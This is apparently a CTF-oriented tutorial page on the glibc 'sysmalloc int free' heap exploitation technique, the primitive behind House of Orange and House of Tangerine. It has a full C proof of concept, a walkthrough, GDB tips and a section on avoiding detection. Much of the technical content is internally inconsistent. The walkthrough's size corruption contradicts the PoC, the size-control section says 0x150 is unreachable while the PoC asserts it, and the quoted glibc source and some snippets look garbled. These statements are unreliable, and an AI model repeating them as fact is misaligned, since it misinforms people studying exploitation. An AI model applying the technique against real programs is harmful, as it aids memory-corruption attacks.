Sysmalloc Int Free

Overview

Sysmalloc Int Free is a technique that exploits glibc’s heap growth mechanism to force the allocator to free the Top Chunk (Wilderness). By corrupting the Top Chunk’s size and triggering heap expansion, we can make sysmalloc call _int_free() on the old Top Chunk, converting it into a usable bin that can be reallocated.

Glibc Compatibility: Works on all modern glibc versions (tested from 2.27 to 2.41). This is a fundamental behavior of the allocator.

What It Achieves

This technique allows you to:

Free the Top Chunk without calling free(): Useful when you can’t directly call free
Create nearly arbitrary sized bins: Control what bin the freed Top Chunk goes into
Corrupt heap without free primitive: Achieve heap corruption with only malloc + overflow
Enable House of Orange and House of Tangerine: Core primitive for these techniques

The Fundamental Mechanism

When malloc requests more memory than the Top Chunk can provide, sysmalloc is called to grow the heap. If the corrupted Top Chunk cannot be merged with newly allocated memory, sysmalloc will free it:

// From malloc/malloc.c:2913 (glibc 2.39)
if (old_size != 0) {
    // Subtract fencepost and align
    old_size = (old_size - FENCEPOST) & MALLOC_MASK;
    // Free the old top chunk!
    _int_free(av, old_top, 1);
}

This behavior is exploited in House of Orange and House of Tangerine.

Full Source Code

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>

#define SIZE_SZ sizeof(size_t)
#define CHUNK_HDR_SZ (SIZE_SZ*2)
#define MALLOC_ALIGN 0x10
#define MALLOC_MASK (-MALLOC_ALIGN)
#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESIZE-1)
#define FENCEPOST (2*CHUNK_HDR_SZ)
#define PROBE (0x20-CHUNK_HDR_SZ)
#define CHUNK_FREED_SIZE 0x150
#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)

/**
 * Tested on:
 *  + GLIBC 2.39 (x86_64, x86 & aarch64)
 *  + GLIBC 2.34 (x86_64, x86 & aarch64)
 *  + GLIBC 2.31 (x86_64, x86 & aarch64)
 *  + GLIBC 2.27 (x86_64, x86 & aarch64)
 *
 * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,
 * which can be used to corrupt heap without needing to call free() directly.
 * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),
 * if the top_chunk can't be merged during heap growth
 * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
 *
 * This technique is used in House of Orange & Tangerine
 */
int main() {
  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);

  puts("Constants:");
  printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ);
  printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN);
  printf("page align \t\t= 0x%lx\n", PAGESIZE);
  printf("fencepost size \t\t= 0x%lx\n", FENCEPOST);
  printf("freed size \t\t= 0x%lx\n", FREED_SIZE);
  printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);

  // Probe the current top chunk size
  new = malloc(PROBE);
  top_size = new[(PROBE / SIZE_SZ) + 1];
  printf("first top size \t\t= 0x%lx\n", top_size);

  // Calculate allocated_size
  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;
  allocated_size &= PAGE_MASK;
  allocated_size &= MALLOC_MASK;
  printf("allocated size \t\t= 0x%lx\n\n", allocated_size);

  puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)");
  new = malloc(allocated_size);

  // Use BOF or OOB to corrupt the top_chunk
  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];
  top_size = *top_size_ptr;

  printf(""
         "----- %-14p ----\n"
         "|          NEW          |   <- initial malloc\n"
         "|                       |\n"
         "----- %-14p ----\n"
         "|          TOP          |   <- top chunk (wilderness)\n"
         "|      SIZE (0x%05lx)   |\n"
         "|          ...          |\n"
         "----- %-14p ----   <- end of current heap page\n\n",
         new - 2,
         top_size_ptr - 1,
         top_size - 1,
         top_size_ptr - 1 + (top_size / SIZE_SZ));

  puts("2. corrupt the size of top chunk to be less, but still page aligned");

  new_top_size = top_size & PAGE_MASK;
  *top_size_ptr = new_top_size;
  
  printf(""
         "----- %-14p ----\n"
         "|          NEW          |\n"
         "| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\n"
         "----- %-14p ----\n"
         "|         TOP           |   <- corrupt size of top chunk (wilderness)\n"
         "|     SIZE (0x%05lx)    |\n"
         "----- %-14p ----   <- still page aligned\n"
         "|         ...           |\n"
         "----- %-14p ----   <- end of current heap page\n\n",
         new - 2,
         top_size_ptr - 1,
         new_top_size - 1,
         top_size_ptr - 1 + (new_top_size / SIZE_SZ),
         top_size_ptr - 1 + (top_size / SIZE_SZ));

  puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth");
  puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it");

  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
  assert(freed_top_size == CHUNK_FREED_SIZE);

  old = new;
  new = malloc(CHUNK_FREED_SIZE + 0x10);

  printf(""
         "----- %-14p ----\n"
         "|          OLD          |\n"
         "| AAAAAAAAAAAAAAAAAAAAA |\n"
         "----- %-14p ----\n"
         "|         FREED         |   <- old top got freed because it couldn't be merged\n"
         "|     SIZE (0x%05lx)    |\n"
         "----- %-14p ----\n"
         "|       FENCEPOST       |   <- just some architecture depending padding\n"
         "----- %-14p ----   <- still page aligned\n"
         "|          ...          |\n"
         "----- %-14p ----   <- end of previous heap page\n"
         "|          NEW          |   <- new malloc\n"
         "-------------------------\n"
         "|          TOP          |   <- top chunk (wilderness)\n"
         "|          ...          |\n"
         "-------------------------   <- end of current heap page\n\n",
         old - 2,
         top_size_ptr - 1,
         freed_top_size,
         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),
         top_size_ptr - 1 + (new_top_size / SIZE_SZ),
         new - (MALLOC_ALIGN / SIZE_SZ));

  puts("...\n");
  puts("?. reallocated into the freed chunk");

  old = new;
  new = malloc(FREED_SIZE);
  assert((size_t) old > (size_t) new);

  printf(""
         "----- %-14p ----\n"
         "|          NEW          |   <- allocated into the freed chunk\n"
         "|                       |\n"
         "----- %-14p ----\n"
         "|          ...          |\n"
         "----- %-14p ----   <- end of previous heap page\n"
         "|          OLD          |   <- old malloc\n"
         "-------------------------\n"
         "|          TOP          |   <- top chunk (wilderness)\n"
         "|          ...          |\n"
         "-------------------------   <- end of current heap page\n",
         new - 2,
         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),
         old - (MALLOC_ALIGN / SIZE_SZ));
}

Step-by-Step Walkthrough

Probe the Top Chunk Size

First, determine the current Top Chunk size to calculate our target size:

void *probe = malloc(0x18);
size_t *top_size_ptr = &probe[4];  // Points to top chunk size
size_t top_size = *top_size_ptr;

Calculate Required Allocation

Compute the exact size to allocate such that corrupting the Top Chunk will leave a specific freed size:

size_t target_freed_size = 0x150;  // Desired freed chunk size
size_t alloc_size = top_size - CHUNK_HDR_SZ - (2*MALLOC_ALIGN) - target_freed_size;
alloc_size &= PAGE_MASK;   // Page align
alloc_size &= MALLOC_MASK; // Malloc align

Allocate and Locate Top Chunk

Allocate the computed size and find the Top Chunk metadata:

void *chunk = malloc(alloc_size);
size_t *top_ptr = &chunk[(alloc_size/8) - 1 + 2];

Corrupt Top Chunk Size

Overwrite the Top Chunk size to be smaller but still page-aligned:

size_t original_top = *top_ptr;
size_t corrupted_top = original_top & ~0xfff;  // Keep page aligned
*top_ptr = corrupted_top;  // VULNERABILITY: Overflow/OOB write

Critical: The new size must be page-aligned to pass sysmalloc checks.

Trigger Heap Growth

Allocate a chunk larger than the corrupted Top Chunk size:

void *trigger = malloc(target_freed_size + 0x10);

This forces sysmalloc to:

Request more memory from the OS (via sbrk or mmap)
Attempt to merge the old Top Chunk
Fail to merge (due to size corruption)
Call _int_free() on the old Top Chunk

Reallocate from Freed Top

The old Top Chunk is now in a bin and can be reallocated:

void *reused = malloc(target_freed_size - 0x10);
// reused points to the old Top Chunk!

Key Constraints

Critical Requirements:

Page Alignment: Corrupted Top Chunk size must be page-aligned (typically 0x1000)
if (new_top_size & 0xfff) { // FAIL: Not page aligned }
Size Calculation: Freed size is computed as:
freed_size = (corrupted_top_size - FENCEPOST) & MALLOC_MASK
where FENCEPOST = 2 * CHUNK_HDR_SZ = 0x20
Malloc Alignment: Final freed size must be malloc-aligned (0x10)

Controlling the Freed Chunk Size

The size of the freed Top Chunk can be controlled precisely:

// Want to create a 0x150 chunk (smallbin size):
target_freed = 0x150;

// Work backwards:
// freed_size = (corrupted_top - 0x20) & ~0xf
// So: corrupted_top = freed_size + 0x20
corrupted_top = 0x150 + 0x20;  // 0x170

// But must be page-aligned, so round up:
corrupted_top = (0x170 + 0xfff) & ~0xfff;  // 0x1000

// Verify:
freed = (0x1000 - 0x20) & ~0xf;  // 0xfe0 (not 0x150!)

Important: You can’t achieve arbitrary freed sizes - they’re constrained by page alignment.

Size Calculation Example

To get a freed chunk in the 0x100-0x200 range:

Corrupted Top Size → Freed Size
0x1000            → 0xfe0 (large)
0x2000            → 0x1fe0 (large)
0x3000            → 0x2fe0 (large)

For smaller sizes, use the minimum:

0x1000            → 0xfe0

Then you can split the freed chunk with allocations.

Use in House of Orange

House of Orange uses this technique as its first step:

Free the Top Chunk

Use sysmalloc int free to get the Top Chunk into unsorted bin.

Leak Libc

The unsorted bin contains libc pointers - leak them.

Corrupt _IO_list_all

Use unsorted bin attack to corrupt _IO_list_all.

Trigger with malloc

Call malloc to trigger FILE stream exploitation.

House of Orange

Learn the complete House of Orange technique

Use in House of Tangerine

House of Tangerine (modern adaptation for glibc 2.26+):

Free the Top Chunk

Use sysmalloc int free to create a freed chunk.

Tcache Poisoning

Use the freed chunk to poison tcache freelists.

Arbitrary Allocation

Get malloc to return arbitrary addresses.

House of Tangerine

Learn the modern alternative using tcache

Why This Is Advanced

Sysmalloc Int Free is considered advanced because:

Precise Size Calculation: Must compute exact allocation sizes accounting for multiple alignment requirements
Page Alignment Requirements: Corrupted sizes must satisfy strict constraints
Understanding sysmalloc: Requires deep knowledge of heap expansion mechanism
Limited Control: Can’t achieve arbitrary freed sizes due to alignment
Foundation for Complex Techniques: Used as primitive in House of Orange/Tangerine

Practical Considerations

Detecting Top Chunk Location

You need to know where the Top Chunk is relative to your overflow:

// Method 1: Calculate from known allocations
void *base = malloc(0x18);
size_t *top = base + some_calculated_offset;

// Method 2: Probe using the technique in the source
void *probe = malloc(0x18);
size_t top_size = probe[(0x18/8) + 1];

Avoiding Detection

Keep the size realistic:

// Bad: Obviously corrupted
*top_size_ptr = 0x1000;  // Way too small

// Good: Plausibly normal
*top_size_ptr = original_size & ~0xfff;  // Just page-align it

Debugging Tips

Use GDB to watch the process:

gdb ./exploit
(gdb) b _int_free
(gdb) run

# When breakpoint hits, check if it's the Top Chunk:
(gdb) x/2gx $rdi  # Check the chunk being freed
(gdb) info symbol <address>  # Is it from the heap?

# Watch sysmalloc:
(gdb) b sysmalloc
(gdb) continue

Common Pitfalls

Avoid These Mistakes:

Not page-aligning: sysmalloc will abort if size isn’t page-aligned
Size too small: Must be at least FENCEPOST + MALLOC_ALIGN
Wrong offset calculation: Off-by-one errors are common
Forgetting PREV_INUSE: The size field should have the PREV_INUSE bit set

[House of Orange/techniques/house/house-of-orange) - Classic technique using this primitive
[House of Tangerine/techniques/house/house-of-tangerine) - Modern tcache-based variant
House of Force - Different Top Chunk exploitation

CTF Applications

Useful when:

You have overflow/OOB but no free primitive
Need to get libc leak without existing free chunks
Want to exploit FILE structures (House of Orange)
Working with limited allocations

References

glibc sysmalloc source (2.39)
House of Orange - Hitcon 2016
Tested on glibc 2.27, 2.31, 2.34, 2.39 across x86_64, x86, aarch64

Get Started

Fundamentals

Fastbin Techniques

Tcache Techniques

House Techniques

Bin & Chunk Manipulation

Advanced Techniques

Glibc Versions

Tools & Resources

Sysmalloc Int Free

Overview

What It Achieves

The Fundamental Mechanism

Full Source Code

Step-by-Step Walkthrough

Key Constraints

Controlling the Freed Chunk Size

Use in House of Orange

House of Orange

Use in House of Tangerine

House of Tangerine

Why This Is Advanced

Practical Considerations

Detecting Top Chunk Location

Avoiding Detection

Debugging Tips

Common Pitfalls

CTF Applications

References

​Overview

​What It Achieves

​The Fundamental Mechanism

​Full Source Code

​Step-by-Step Walkthrough

​Key Constraints

​Controlling the Freed Chunk Size

​Use in House of Orange

House of Orange

​Use in House of Tangerine

House of Tangerine

​Why This Is Advanced

​Practical Considerations

​Detecting Top Chunk Location

​Avoiding Detection

​Debugging Tips

​Common Pitfalls

​Related Techniques

​CTF Applications

​References

Overview

What It Achieves

The Fundamental Mechanism

Full Source Code

Step-by-Step Walkthrough

Key Constraints

Controlling the Freed Chunk Size

Use in House of Orange

Use in House of Tangerine

Why This Is Advanced

Practical Considerations

Detecting Top Chunk Location

Avoiding Detection

Debugging Tips

Common Pitfalls

Related Techniques

CTF Applications

References